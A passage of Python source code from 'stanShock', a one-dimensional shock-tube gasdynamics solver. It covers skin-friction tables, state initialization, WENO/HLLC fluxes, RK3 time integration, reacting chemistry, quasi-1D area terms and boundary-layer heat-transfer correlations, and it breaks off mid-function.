(phiRight-phiLeft)/Delta\n dphidx = np.ones(len(x))*dphidx\n dphidx[x<(xShock-Delta/2.0)]=0.0\n dphidx[x>(xShock+Delta/2.0)]=0.0\n return dphidx\n#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\nclass skinFriction(object):\n '''\n Functor: skinFriction\n ---------------------------------------------------------------------------\n This functor computes the skin friction function. Since the skin friction\n function is partially implicit, it interpolates from a table of values at \n outset.\n inputs:\n ReCrit = the critical Reynolds number for transition\n ReMax = the maximum value for the table\n outputs:\n cf = numpy array of the skin friction coefficient \n '''\n #######################################################################\n def __init__(self,ReCrit=2300,ReMax=1e9):\n #store the values and compute the Reynolds number table \n self.ReMax = ReMax\n self.ReCrit = ReCrit\n self.ReTable = np.logspace(np.log10(self.ReCrit),np.log10(ReMax))\n #define the residual of the Karman-Nikuradse function and its derivative\n def f(x): return 2.46*x*np.log(self.ReTable*x)+0.3*x-1.0\n def jac(x):\n dx = 2.46*(np.log(self.ReTable*x)+1.0)+0.3\n return np.diagflat(dx)\n #use the scipy root finding method\n x0 = 1.0/(2.236*np.log(self.ReTable)-4.639) #use fit for initial value\n self.cfTable = (root(f,x0,jac=jac).x)**2.0*2.0 #grid of values for interpolation\n #######################################################################\n def __call__(self,Re):\n cf = np.zeros_like(Re)\n laminarIndices = np.logical_and(Re>0.0, Re <= self.ReCrit)\n cf[laminarIndices]=16.0/Re[laminarIndices]\n turbulentIndices = Re> self.ReCrit\n cf[turbulentIndices] = np.interp(Re[turbulentIndices],self.ReTable,self.cfTable)\n if np.any(Re>self.ReMax): raise Exception(\"Error: Reynolds number exceeds the maximum value of %f: skinFriction Table bounds must be adjusted\" % (self.ReMax))\n return cf\n#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\nclass stanShock(object):\n '''\n Class: stanShock\n --------------------------------------------------------------------------\n This is a class defined to encapsulate the data and methods used for the\n 1D gasdynamics solver stanShock.\n '''\n##############################################################################\n def __init__(self,gas,**kwargs):\n '''\n Method: __init__\n ----------------------------------------------------------------------\n initialization of the object with default values. The keyword arguments\n allow the user to initialize the state\n '''\n #######################################################################\n def initializeRiemannProblem(self,leftState,rightState,geometry): \n '''\n Method: initializeRiemannProblem\n ----------------------------------------------------------------------\n This helper function initializes a Riemann Problem\n inputs:\n leftState = a tuple containing the Cantera solution object at the\n the desired thermodynamic state and the velocity:\n (canterSolution,u) \n rightState = a tuple containing the Cantera solution object at the\n the desired thermodynamic state and the velocity:\n (canterSolution,u) \n geometry = a tuple containing the relevant geometry for the \n problem: (numberCells,xMinimum,xMaximum,shockLocation)\n '''\n if leftState[0].species_names!=gas.species_names or \\\n rightState[0].species_names!=gas.species_names: \n raise Exception(\"Inputed gasses must be the same as the initialized gas.\")\n self.n=geometry[0]\n self.x=np.linspace(geometry[1],geometry[2],self.n)\n self.dx = self.x[1]-self.x[0]\n #initialization for left state\n self.r=np.ones(self.n)*leftState[0].density\n self.u=np.ones(self.n)*leftState[1]\n self.p=np.ones(self.n)*leftState[0].P\n self.Y=np.zeros((self.n,gas.n_species)) \n for kSp in range(self.__nsp): self.Y[:,kSp]=leftState[0].Y[kSp]\n self.gamma=np.ones(self.n)*(leftState[0].cp/leftState[0].cv)\n #right state\n index=self.x>=geometry[3]\n self.r[index]=rightState[0].density\n self.u[index]=rightState[1]\n self.p[index]=rightState[0].P\n for kSp in range(self.__nsp): self.Y[index,kSp]=rightState[0].Y[kSp]\n self.gamma[index]=rightState[0].cp/rightState[0].cv \n self.F = np.ones_like(self.r)\n #######################################################################\n def initializeDiffuseInterface(self,leftState,rightState,geometry,Delta): \n '''\n Method: initializeDiffuseInterface\n ----------------------------------------------------------------------\n This helper function initializes an interface smoothed over a distance\n inputs:\n leftState = a tuple containing the Cantera solution object at the\n the desired thermodynamic state and the velocity:\n (canterSolution,u) \n rightState = a tuple containing the Cantera solution object at the\n the desired thermodynamic state and the velocity:\n (canterSolution,u) \n geometry = a tuple containing the relevant geometry for the \n problem: (numberCells,xMinimum,xMaximum,shockLocation)\n Delta = distance over which the interface is smoothed linearly\n '''\n if leftState[0].species_names!=gas.species_names or \\\n rightState[0].species_names!=gas.species_names: \n raise Exception(\"Inputed gasses must be the same as the initialized gas.\")\n self.n=geometry[0]\n self.x=np.linspace(geometry[1],geometry[2],self.n)\n self.dx = self.x[1]-self.x[0]\n xShock = geometry[3]\n leftGas = leftState[0]\n uLeft = leftState[1]\n gammaLeft = leftGas.cp/leftGas.cv\n rightGas = rightState[0]\n uRight = rightState[1]\n gammaRight = rightGas.cp/rightGas.cv\n #initialization for left state\n self.r = smoothingFunction(self.x,xShock,Delta,leftGas.density,rightGas.density)\n self.u = smoothingFunction(self.x,xShock,Delta,uLeft,uRight)\n self.p = smoothingFunction(self.x,xShock,Delta,leftGas.P,rightGas.P)\n self.Y=np.zeros((self.n,self.gas.n_species)) \n for kSp in range(self.__nsp): self.Y[:,kSp]=smoothingFunction(self.x,xShock,Delta,leftGas.Y[kSp],rightGas.Y[kSp])\n self.gamma=smoothingFunction(self.x,xShock,Delta,gammaLeft,gammaRight)\n self.F = np.ones_like(self.r)\n #########################################################################\n #initilize the class\n self.cfl=1.0 #stability condition\n self.dx=1.0 #grid spacing\n self.n=10 #grid size\n self.boundaryConditions=['outflow','outflow']\n self.x=np.linspace(0.0,self.dx*(self.n-1),self.n) \n self.gas = gas #cantera solution object for the gas\n self.r=np.ones(self.n)*gas.density #density\n self.u=np.zeros(self.n) #velocity\n self.p=np.ones(self.n)*gas.P #pressure\n self.gamma=np.ones(self.n)*gas.cp/gas.cv #specific heat ratio\n self.F=np.ones(self.n) #thickening\n self.t = 0.0 #time\n self.__nsp=gas.n_species #number os chemical species\n self.Y=np.zeros((self.n,gas.n_species)) #species mass fractions\n self.Y[:,0]=np.ones(self.n)\n self.verbose=True #console output switch\n self.outputEvery=1 #number of iterations of simulation advancement between updates\n self.dlnAdt = None #area of the shock tube as a function of time (needed for quasi-1D)\n self.dlnAdx = None #area of the shock tube as a function of x (needed for quasi-1D)\n self.fluxFunction=HLLC\n self.probes=[] #list of probe objects\n self.XTDiagrams=dict() #dictionary of XT diagram objects\n self.includeBoundaryLayerTerms=False #setting this to true solves the boundary layer terms\n self.cf = None #skin friction functor\n self.DInner = None #Inner diameter of the shock tube as a function of x (needed for BL)\n self.DOuter = None #Outer diameter of the shock tube as a function of x (needed for BL)\n self.Tw = None #temperature of the wall (needed for BL)\n self.thermoTable = thermoTable(gas) #thermodynamic table object\n self.optimizationIteration = 0 #counter to keep track of optimization\n self.reacting = False #flag to solver about whether to solve source terms\n self.inReactingRegion = lambda x,t: True #the reacting region of the shock tube. \n self.includeDiffusion= False #exclude diffusion\n self.thickening=None\n #overwrite the default data\n for key in kwargs:\n if key in self.__dict__.keys(): self.__dict__[key]=kwargs[key]\n if key=='initializeRiemannProblem':\n initializeRiemannProblem(self,kwargs[key][0],kwargs[key][1],kwargs[key][2])\n if key=='initializeDiffuseInterface':\n initializeDiffuseInterface(self,kwargs[key][0],kwargs[key][1],kwargs[key][2],kwargs[key][3])\n if not self.n==len(self.x)==len(self.r)==len(self.u)==len(self.p)==len(self.gamma):\n raise Exception(\"Initialization Error\")\n##############################################################################\n class __probe(object):\n '''\n Class: probe\n -----------------------------------------------------------------------\n This class is used to store the relavant data for the probe\n '''\n def __init__(self):\n self.probeLocation=None\n self.name=None\n self.skipSteps=0 #number of timesteps to skip\n self.t=[]\n self.r=[] #density\n self.u=[] #velocity\n self.p=[] #pressure\n self.gamma=[] #specific heat ratio\n self.Y=[] #species mass fractions\n##############################################################################\n def addProbe(self,probeLocation,skipSteps=0,probeName=None):\n '''\n Method: addProbe\n -----------------------------------------------------------------------\n This method adds a new probe to the solver\n '''\n if probeLocation>np.max(self.x) or probeLocation<np.min(self.x):\n raise Exception(\"Invalid Probe Location\")\n if probeName == None: probeName=\"probe\"+str(len(self.probes))\n newProbe = self.__probe()\n newProbe.probeLocation=probeLocation\n newProbe.skipSteps=0\n newProbe.name=probeName\n self.probes.append(newProbe)\n##############################################################################\n class XTDiagram(object):\n '''\n Class: __XTDiagram\n --------------------------------------------------------------------------\n This class is used to store the relavant data for the XT diagram\n '''\n def __init__(self):\n self.name=None\n self.skipSteps=0 #number of timesteps to skip\n self.variable=[] #list of numpy arrays of the variable w.r.t x\n self.t=[] #list of times\n self.x=None #numpy array of x (the interpolated grid)\n##############################################################################\n def __updateXTDiagram(self,XTDiagram):\n '''\n Method: __updateXTDiagram\n --------------------------------------------------------------------------\n This method updates the XT diagram.\n inputs:\n XTDiagram: the XTDiagram object \n '''\n variable=XTDiagram.name\n gasSpecies = [species.lower() for species in self.gas.species_names]\n if variable in [\"density\",\"r\",\"rho\"]:\n XTDiagram.variable.append(np.interp(XTDiagram.x,self.x, self.r))\n elif variable in [\"velocity\",\"u\"]:\n XTDiagram.variable.append(np.interp(XTDiagram.x,self.x, self.u))\n elif variable in [\"pressure\",\"p\"]:\n XTDiagram.variable.append(np.interp(XTDiagram.x,self.x, self.p))\n elif variable in [\"temperature\",\"t\"]:\n T = self.thermoTable.getTemperature(self.r,self.p,self.Y)\n XTDiagram.variable.append(np.interp(XTDiagram.x,self.x, T))\n elif variable in [\"gamma\",\"g\",\"specific heat ratio\", \"heat capacity ratio\"]:\n XTDiagram.variable.append(np.interp(XTDiagram.x,self.x, self.gamma))\n elif variable in gasSpecies:\n speciesIndex= gasSpecies.index(variable)\n XTDiagram.variable.append(np.interp(XTDiagram.x,self.x, self.Y[:,speciesIndex]))\n else: \n raise Exception(\"Invalid Variable Name\")\n XTDiagram.t.append(self.t)\n \n##############################################################################\n def addXTDiagram(self,variable,skipSteps=0,x=None):\n '''\n Method: addXTDiagram\n --------------------------------------------------------------------------\n This method initiates the XT diagram.\n inputs:\n variable=string of the variable \n skipSteps=\n \n '''\n newXTDiagram = self.XTDiagram()\n variable=variable.lower()\n newXTDiagram.skipSteps=skipSteps\n newXTDiagram.name=variable\n #check interpolation grid\n if x is None: newXTDiagram.x = self.x\n elif (x[-1]>self.x[-1]) or (x[0]<self.x[0]):\n raise Exception(\"Invalid Interpolation Grid\")\n else: newXTDiagram.x = self.x\n self.__updateXTDiagram(newXTDiagram)\n #store the XT Diagram\n self.XTDiagrams[variable]=newXTDiagram\n##############################################################################\n def plotXTDiagram(self,XTDiagram,limits=None):\n '''\n Method: plotXTDiagram\n --------------------------------------------------------------------------\n This method creates a contour plot of the XTDiagram data\n inputs:\n XTDiagram=XTDiagram object; obtained from the XTDiagrams dictionary\n limits = tuple of maximum and minimum for the pcolor (vMin,vMax)\n \n '''\n plt.figure()\n t = [t*1000.0 for t in XTDiagram.t]\n X, T = np.meshgrid(XTDiagram.x,t)\n variableMatrix = np.zeros(X.shape)\n for k, variablek in enumerate(XTDiagram.variable): \n variableMatrix[k,:]=variablek\n variable=XTDiagram.name\n if variable in [\"density\",\"r\",\"rho\"]:\n plt.title(\"$\\\\rho\\ [\\mathrm{kg/m^3}]$\")\n elif variable in [\"velocity\",\"u\"]:\n plt.title(\"$u\\ [\\mathrm{m/s}]$\")\n elif variable in [\"pressure\",\"p\"]:\n variableMatrix /= 1.0e5 #convert to bar\n plt.title(\"$p\\ [\\mathrm{bar}]$\")\n elif variable in [\"temperature\",\"t\"]:\n plt.title(\"$T\\ [\\mathrm{K}]$\")\n elif variable in [\"gamma\",\"g\",\"specific heat ratio\", \"heat capacity ratio\"]:\n plt.title(\"$\\gamma$\")\n else: plt.title(\"$\\mathrm{\"+variable+\"}$\")\n if limits is None: plt.pcolormesh(X,T,variableMatrix,cmap='jet')\n else: plt.pcolormesh(X,T,variableMatrix,cmap='jet',vmin=limits[0],vmax=limits[1])\n plt.xlabel(\"$x\\ [\\mathrm{m}]$\")\n plt.ylabel(\"$t\\ [\\mathrm{ms}]$\")\n plt.axis([min(XTDiagram.x), max(XTDiagram.x), min(t), max(t)])\n plt.colorbar()\n##############################################################################\n def soundSpeed(self,r,p,gamma):\n '''\n Method: soundSpeed\n ----------------------------------------------------------------------\n This method returns the speed of sound for the gas at its current state\n outputs:\n speed of sound\n '''\n return np.sqrt(gamma*p/r)\n##############################################################################\n def waveSpeed(self): \n '''\n Method: waveSpeed\n ----------------------------------------------------------------------\n This method determines the absolute maximum of the wave speed \n outputs:\n speed of acoustic wave\n '''\n return abs(self.u)+self.soundSpeed(self.r,self.p,self.gamma)\n##############################################################################\n def timeStep(self): \n '''\n Method: timeStep\n ----------------------------------------------------------------------\n This method determines the maximal timestep in accord with the CFL\n condition\n outputs:\n timestep\n '''\n localDts = self.dx/self.waveSpeed()\n if self.includeDiffusion:\n T = self.thermoTable.getTemperature(self.r,self.p,self.Y)\n cv = self.thermoTable.getCp(T,self.Y)/self.gamma\n alpha, nu, diff = np.zeros_like(T), np.zeros_like(T),np.zeros_like(T)\n for i,Ti in enumerate(T):\n #compute gas properties\n self.gas.TP = Ti,self.p[i]\n if self.gas.n_species>1: self.gas.Y= self.Y[i,:]\n nu[i]=self.gas.viscosity/self.gas.density\n alpha[i]=self.gas.thermal_conductivity/self.gas.density/cv[i]*self.F[i]\n diff[i]=np.max(self.gas.mix_diff_coeffs)*self.F[i] \n viscousDts=0.5*self.dx**2.0/np.maximum(4.0/3.0*nu,np.maximum(alpha,diff))\n localDts = np.minimum(localDts,viscousDts)\n return self.cfl*min(localDts)\n##############################################################################\n def applyBoundaryConditions(self,rLR,uLR,pLR,YLR):\n '''\n Method: applyBoundaryConditions\n ----------------------------------------------------------------------\n This method applies the prescribed BCs declared by the user.\n Currently, only reflecting (adiabatic wall) and outflow (symmetry) \n boundary conditions are supported. The user may include Dirichlet \n condition as well. This method returns the updated primitives. \n inputs:\n rLR=density on left and right face [2,n+1]\n uLR=velocity on left and right face [2,n+1]\n pLR=pressure on left and right face [2,n+1]\n YLR=species ressure on left and right face [2,n+1,nsp]\n outputs:\n rLR=density on left and right face [2,n+1]\n uLR=velocity on left and right face [2,n+1]\n pLR=pressure on left and right face [2,n+1]\n YLR=species ressure on left and right face [2,n+1,nsp]\n '''\n for ibc in [0,1]:\n NAssign = ibc;\n NUse = 1-ibc;\n iX = -ibc\n rLR[NAssign,iX]=rLR[NUse,iX]\n uLR[NAssign,iX]=uLR[NUse,iX]\n pLR[NAssign,iX]=pLR[NUse,iX]\n YLR[NAssign,iX,:]=YLR[NUse,iX,:]\n if type(self.boundaryConditions[ibc]) is str:\n if self.boundaryConditions[ibc].lower()=='reflecting' or \\\n self.boundaryConditions[ibc].lower()=='symmetry':\n uLR[NAssign,iX]=0.0\n elif self.verbose and self.boundaryConditions[ibc].lower()!='outflow': \n print('''Unrecognized Boundary Condition. Applying outflow by default.\\n''')\n else:\n #assign Dirichlet conditions to (r,u,p,Y)\n if self.boundaryConditions[ibc][0] is not None: \n rLR[NAssign,iX]=self.boundaryConditions[ibc][0]\n if self.boundaryConditions[ibc][1] is not None: \n uLR[NAssign,iX]=self.boundaryConditions[ibc][1]\n if self.boundaryConditions[ibc][2] is not None: \n pLR[NAssign,iX]=self.boundaryConditions[ibc][2]\n if self.boundaryConditions[ibc][3] is not None: \n YLR[NAssign,iX,:]=self.boundaryConditions[ibc][3]\n return (rLR,uLR,pLR,YLR)\n##############################################################################\n def primitiveToConservative(self,r,u,p,Y,gamma):\n '''\n Method: conservativeToPrimitive\n ----------------------------------------------------------------------\n This method transforms the primitive variables to conservative\n inputs:\n r=density\n u=velocity\n p=pressure\n Y=species mass fraction matrix [x,species]\n gamma=specific heat ratio\n outputs:\n r=density\n ru=momentum\n E=total energy\n rY=species density matrix\n '''\n ru=r*u\n E=p/(gamma-1.0)+0.5*r*u**2.0\n rY=Y*r.reshape((-1,1))\n return (r,ru,E,rY)\n##############################################################################\n def conservativeToPrimitive(self,r,ru,E,rY,gamma):\n '''\n Method: conservativeToPrimitive\n ----------------------------------------------------------------------\n This method transforms the conservative variables to the primitives\n inputs:\n r=density\n ru=momentum\n E=total energy\n rY=species density matrix\n gamma=specific heat ratio\n outputs:\n r=density\n u=velocity\n p=pressure\n Y=species mass fraction matrix [x,species]\n '''\n u=ru/r\n p=(gamma-1.0)*(E-0.5*r*u**2.0)\n Y=rY/r.reshape((-1,1))\n #bound\n Y[Y>1.0]=1.0\n Y[Y<0.0]=0.0\n #scale\n Y=Y/np.sum(Y,axis=1).reshape((-1,1))\n return (r,u,p,Y) \n############################################################################## \n def flux(self,r,u,p,Y,gamma):\n '''\n Method: flux\n ----------------------------------------------------------------------\n This method calculates the advective flux\n inputs:\n r=density\n u=velocity\n p=pressure\n Y=species mass fraction matrix [x,species]\n gamma=specific heat ratio\n outputs:\n rhs=the update due to the flux \n '''\n #find the left and right WENO states from the WENO interpolation\n nx=len(r)\n PLR=WENO5(r,u,p,Y,gamma)\n #extract and apply boundary conditions\n rLR=PLR[:,:,0];\n uLR=PLR[:,:,1];\n pLR=PLR[:,:,2];\n YLR=PLR[:,:,mt:];\n rLR,uLR,pLR,YLR = self.applyBoundaryConditions(rLR,uLR,pLR,YLR)\n #calculate the flux\n fL = self.fluxFunction(rLR,uLR,pLR,YLR,gamma[mt:-mt+1])\n fR = self.fluxFunction(rLR,uLR,pLR,YLR,gamma[mt-1:-mt])\n rhs = np.zeros((nx,mn+self.__nsp))\n rhs[mt:-mt,:]=-(fR[1:]-fL[:-1])/self.dx\n return rhs\n############################################################################## \n def viscousFlux(self,r,u,p,Y,gamma):\n '''\n Method: viscousFlux\n ----------------------------------------------------------------------\n This method calculates the viscous flux\n inputs:\n r=density\n u=velocity\n p=pressure\n Y=species mass fraction matrix [x,species]\n gamma=specific heat ratio\n outputs:\n rhs=the update due to the viscous flux \n '''\n ##############################################################################\n def viscousFluxFunction(self,rLR,uLR,pLR,YLR):\n '''\n ------------------------------------------------------------.----------\n This method computes the viscous flux at each interface\n inputs:\n rLR=array containing left and right density states [nLR,nFaces]\n uLR=array containing left and right velocity states [nLR,nFaces]\n pLR=array containing left and right pressure states [nLR,nFaces]\n YLR=array containing left and right species mass fraction states\n [nLR,nFaces,nSp]\n return:\n f=modeled viscous fluxes [nFaces,mn+nSp]\n '''\n #get the temperature, pressure, and composition for each cell (including the two ghosts)\n nT = self.n+2\n T=np.zeros(nT)\n T[:-1] = self.thermoTable.getTemperature(rLR[0,:],pLR[0,:],YLR[0,:,:])\n T[-1] = self.thermoTable.getTemperature(np.array([rLR[1,-1]]),\n np.array([pLR[1,-1]]),\n np.array([YLR[1,-1,:]]).reshape((1,-1)))\n p, F, Y = np.zeros(nT), np.ones(nT), np.zeros((nT,self.__nsp))\n p[:-1], p[-1] = pLR[0,:], pLR[1,-1] \n F[1:-1] = self.F \n F[0], F[-1] = self.F[0], self.F[-1] #no gradient in F at boundary\n Y[:-1,:], Y[-1,:] = YLR[0,:,:], YLR[1,-1,:] \n viscosity=np.zeros(nT)\n conductivity=np.zeros(nT)\n diffusivities=np.zeros((nT,self.__nsp))\n for i,Ti in enumerate(T):\n #compute gas properties\n self.gas.TP = Ti,p[i]\n if self.gas.n_species>1: self.gas.Y= Y[i,:]\n viscosity[i]=self.gas.viscosity\n conductivity[i]=self.gas.thermal_conductivity*F[i]\n diffusivities[i,:]=self.gas.mix_diff_coeffs*F[i] \n #compute the gas properties at the face\n viscosity=(viscosity[1:]+viscosity[:-1])/2.0\n conductivity=(conductivity[1:]+conductivity[:-1])/2.0\n diffusivities=(diffusivities[1:,:]+diffusivities[:-1,:])/2.0\n r = ((rLR[0,:]+rLR[1,:])/2.0).reshape(-1,1) \n #get the central differences\n dudx=(uLR[1,:]-uLR[0,:])/self.dx\n dTdx=(T[1:]-T[:-1])/self.dx\n dYdx=(YLR[1,:,:]-YLR[0,:,:])/self.dx\n #compute the fluxes\n f=np.zeros((nT-1,mn+self.__nsp))\n f[:,1]=4.0/3.0*viscosity*dudx\n f[:,2]=conductivity*dTdx\n f[:,mn:]=r*diffusivities*dYdx\n return f\n ##############################################################################\n #first order interpolation to the edge states and apply boundary conditions\n rLR = np.concatenate((r[mt-1:-mt].reshape(1,-1),r[mt:-mt+1].reshape(1,-1)),axis=0)\n uLR = np.concatenate((u[mt-1:-mt].reshape(1,-1),u[mt:-mt+1].reshape(1,-1)),axis=0)\n pLR = np.concatenate((p[mt-1:-mt].reshape(1,-1),p[mt:-mt+1].reshape(1,-1)),axis=0)\n YLR = np.concatenate((Y[mt-1:-mt,:].reshape(1,-1,self.__nsp),Y[mt:-mt+1,:].reshape(1,-1,self.__nsp)),axis=0)\n rLR,uLR,pLR,YLR = self.applyBoundaryConditions(rLR,uLR,pLR,YLR)\n #calculate the flux\n f = viscousFluxFunction(self,rLR,uLR,pLR,YLR)\n rhs = np.zeros((self.n+2*mt,mn+self.__nsp))\n rhs[mt:-mt,:] = (f[1:,:]-f[:-1,:])/self.dx #central difference\n return rhs\n##############################################################################\n def advanceAdvection(self,dt):\n '''\n Method: advanceAdvection\n ----------------------------------------------------------------------\n This method advances the advection terms by the prescribed timestep.\n The advection terms are integrated using RK3. \n inputs\n dt=time step\n '''\n #initialize\n r=np.ones(self.n+2*mt)\n u=np.ones(self.n+2*mt)\n p=np.ones(self.n+2*mt)\n gamma=np.ones(self.n+2*mt)\n gamma[:mt], gamma[-mt:] = self.gamma[0], self.gamma[-1]\n Y=np.ones((self.n+2*mt,self.__nsp))\n (r[mt:-mt],u[mt:-mt],p[mt:-mt], Y[mt:-mt,:],gamma[mt:-mt])= \\\n (self.r,self.u,self.p,self.Y,self.gamma)\n (r,ru,E,rY)=self.primitiveToConservative(r,u,p,Y,gamma)\n #1st stage of RK3\n rhs=self.flux(r,u,p,Y,gamma)\n r1= r +dt*rhs[:,0]\n ru1=ru+dt*rhs[:,1]\n E1= E +dt*rhs[:,2]\n rY1=rY+dt*rhs[:,mn:]\n (r1,u1,p1,Y1)=self.conservativeToPrimitive(r1,ru1,E1,rY1,gamma)\n #2nd stage of RK3\n rhs=self.flux(r1,u1,p1,Y1,gamma)\n r2= 0.75*r +0.25*r1 +0.25*dt*rhs[:,0]\n ru2=0.75*ru+0.25*ru1+0.25*dt*rhs[:,1]\n E2= 0.75*E +0.25*E1 +0.25*dt*rhs[:,2]\n rY2=0.75*rY+0.25*rY1+0.25*dt*rhs[:,mn:]\n (r2,u2,p2,Y2)=self.conservativeToPrimitive(r2,ru2,E2,rY2,gamma)\n #3rd stage of RK3\n rhs=self.flux(r2,u2,p2,Y2,gamma)\n r= (1.0/3.0)*r +(2.0/3.0)*r2 +(2.0/3.0)*dt*rhs[:,0]\n ru=(1.0/3.0)*ru+(2.0/3.0)*ru2+(2.0/3.0)*dt*rhs[:,1]\n E= (1.0/3.0)*E +(2.0/3.0)*E2 +(2.0/3.0)*dt*rhs[:,2]\n rY=(1.0/3.0)*rY+(2.0/3.0)*rY2+(2.0/3.0)*dt*rhs[:,mn:]\n (r,u,p,Y)= self.conservativeToPrimitive(r,ru,E,rY,gamma)\n #update\n T0 = self.thermoTable.getTemperature(r[mt:-mt],p[mt:-mt],Y[mt:-mt])\n gamma[mt:-mt]=self.thermoTable.getGamma(T0,Y[mt:-mt])\n (self.r,self.u,self.p,self.Y,self.gamma)=(r[mt:-mt],u[mt:-mt],p[mt:-mt],Y[mt:-mt],gamma[mt:-mt])\n##############################################################################\n def advanceChemistry(self,dt):\n '''\n Method: advanceChemistry\n ----------------------------------------------------------------------\n This method advances the combustion chemistry of a reacting system. It\n is only called if the \"reacting\" flag is set to True. \n inputs\n dt=time step\n '''\n #######################################################################\n def dydt(t,y,args):\n '''\n function: dydt\n -------------------------------------------------------------------\n this function gives the source terms of a constant volume reactor\n inputs\n dt=time step\n '''\n #unpack the input\n r = args[0]\n F = args[1]\n Y = y[:-1]\n T = y[-1]\n #set the state for the gas object\n self.gas.TDY= T,r,Y\n #gas properties\n cv = self.gas.cv_mass\n nSp=self.gas.n_species\n W = self.gas.molecular_weights\n wHatDot = self.gas.net_production_rates #kmol/m^3.s\n wDot = wHatDot*W #kg/m^3.s\n eRT= self.gas.standard_int_energies_RT\n #compute the derivatives\n YDot = wDot/r\n TDot = -np.sum(eRT*wHatDot)*ct.gas_constant*T/(r*cv) \n f = np.zeros(nSp+1)\n f[:-1]=YDot\n f[-1]=TDot\n return f/F\n #######################################################################\n from scipy import integrate\n #get indices\n indices = [k for k in range(self.n) if self.inReactingRegion(self.x[k],self.t)]\n Ts= self.thermoTable.getTemperature(self.r[indices],self.p[indices],self.Y[indices,:])\n #initialize integrator\n y0=np.zeros(self.gas.n_species+1)\n integrator = integrate.ode(dydt).set_integrator('lsoda')\n for TIndex, k in enumerate(indices):\n #initialize\n y0[:-1]=self.Y[k,:]\n y0[-1]=Ts[TIndex]\n args = [self.r[k],self.F[k]];\n integrator.set_initial_value(y0,0.0)\n integrator.set_f_params(args)\n #solve\n integrator.integrate(dt)\n #clip and normalize\n Y=integrator.y[:-1]\n Y[Y>1.0] = 1.0\n Y[Y<0.0] = 0.0\n Y /= np.sum(Y)\n #update\n self.Y[k,:]= Y\n T=integrator.y[-1]\n self.gas.TDY = T,self.r[k],Y\n self.p[k]=self.gas.P\n #update gamma\n T = self.thermoTable.getTemperature(self.r,self.p,self.Y)\n self.gamma=self.thermoTable.getGamma(T,self.Y)\n##############################################################################\n def advanceQuasi1D(self,dt):\n '''\n Method: advanceQuasi1D\n ----------------------------------------------------------------------\n This method advances the quasi-1D terms used to model area changes in \n the shock tube. The client must supply the functions dlnAdt and dlnAdx\n to the StanShock object.\n inputs\n dt=time step\n '''\n #######################################################################\n def dydt(t,y,args):\n '''\n function: dydt\n -------------------------------------------------------------------\n this function gives the source terms for the quasi 1D\n inputs\n dt=time step\n '''\n #unpack the input and initialize\n x, gamma = args\n r, ru, E = y\n p=(gamma-1.0)*(E-0.5*ru**2.0/r)\n f=np.zeros(3)\n #create quasi-1D right hand side\n if self.dlnAdt!=None:\n dlnAdt=self.dlnAdt(x,t)[0]\n f[0]-=r*dlnAdt\n f[1]-=ru*dlnAdt\n f[2]-=E*dlnAdt\n if self.dlnAdx!=None:\n dlnAdx=self.dlnAdx(x,t)[0]\n f[0]-=ru*dlnAdx\n f[1]-=(ru**2.0/r)*dlnAdx\n f[2]-=(ru/r*(E+p))*dlnAdx\n return f\n #######################################################################\n from scipy import integrate\n #initialize integrator\n y0=np.zeros(3)\n integrator = integrate.ode(dydt).set_integrator('lsoda')\n (r,ru,E,_)=self.primitiveToConservative(self.r,self.u,self.p,self.Y,self.gamma)\n #determine the indices\n iIn = []\n eIn = np.arange(self.x.shape[0])\n if self.dlnAdt is not None:\n dlnAdt = self.dlnAdt(self.x,self.t)\n iIn = np.arange(self.x.shape[0])[dlnAdt!=0.0]\n eIn = np.arange(self.x.shape[0])[dlnAdt==0.0]\n #integrate implicitly\n for i in iIn:\n #initialize\n y0[:] = r[i],ru[i],E[i]\n args = np.array([self.x[i]]),self.gamma[i]\n integrator.set_initial_value(y0,self.t)\n integrator.set_f_params(args)\n #solve\n integrator.integrate(self.t+dt)\n #update\n r[i], ru[i], E[i] = integrator.y\n #integrate explicitly\n rhs = np.zeros((mn,eIn.shape[0]))\n if self.dlnAdt!=None:\n dlnAdt=self.dlnAdt(self.x,self.t)[eIn]\n rhs[0]-=r[eIn]*dlnAdt\n rhs[1]-=ru[eIn]*dlnAdt\n rhs[2]-=E[eIn]*dlnAdt\n if self.dlnAdx!=None:\n dlnAdx=self.dlnAdx(self.x,self.t)[eIn]\n rhs[0]-=ru[eIn]*dlnAdx\n rhs[1]-=(ru[eIn]**2.0/r[eIn])*dlnAdx\n rhs[2]-=(self.u[eIn]*(E[eIn]+self.p[eIn]))*dlnAdx\n #update\n r[eIn] +=dt*rhs[0]\n ru[eIn]+=dt*rhs[1]\n E[eIn] +=dt*rhs[2]\n rY = r.reshape((r.shape[0],1))*self.Y\n (self.r,self.u,self.p,_)=self.conservativeToPrimitive(r,ru,E,rY,self.gamma)\n T = self.thermoTable.getTemperature(self.r,self.p,self.Y)\n self.gamma=self.thermoTable.getGamma(T,self.Y)\n##############################################################################\n def advanceBoundaryLayer(self,dt):\n '''\n Method: advanceBoundaryLayer\n ----------------------------------------------------------------------\n This method advances the boundary layer terms\n inputs\n dt=time step\n '''\n #######################################################################\n def nusseltNumber(Re,Pr,cf):\n '''\n Function: nusseltNumber\n ----------------------------------------------------------------------\n This function defines the nusselt Number as a function of the \n Reynolds number. These functions are empirical correlations taken\n from Kayes. The selection of the correlations assumes that this solver\n will be used for gasses.\n inputs:\n Re=Reynolds number\n Pr=Prandtl number\n cf=skin friction\n outputs:\n Nu=Nusselt number\n '''\n #define the transitional Reynolds number\n ReCrit = 2300\n ReLowTurbulent = 2e5 #taken frkom figure 14-5 of Kayes for Pr=0.7\n Nu = np.zeros_like(Re)\n #laminar portion of the flow\n laminarIndices = np.logical_and(Re>0.0, Re <= ReCrit)\n Nu[laminarIndices]=3.657 #from the analytical solution\n #low turbulent portion of the flow (accounts for isothermal wall)\n lowTurublentIndices = np.logical_and(Re > ReCrit,Re <= ReLowTurbulent)\n ReLT, PrLT = Re[lowTurublentIndices], Pr[lowTurublentIndices]\n Nu[lowTurublentIndices]=0.021*PrLT**0.5*ReLT**0.8 #empircal correlation for isothermal case\n #highly turbulent portion of the flow (data shows that boundary condition is less important)\n #highTurublentIndices = Re > ReLowTurbulent\n highTurublentIndices = Re > 2300.0\n ReHT, PrHT, cfHT = Re[highTurublentIndices], Pr[highTurublentIndices], cf[highTurublentIndices]\n Nu[highTurublentIndices] = 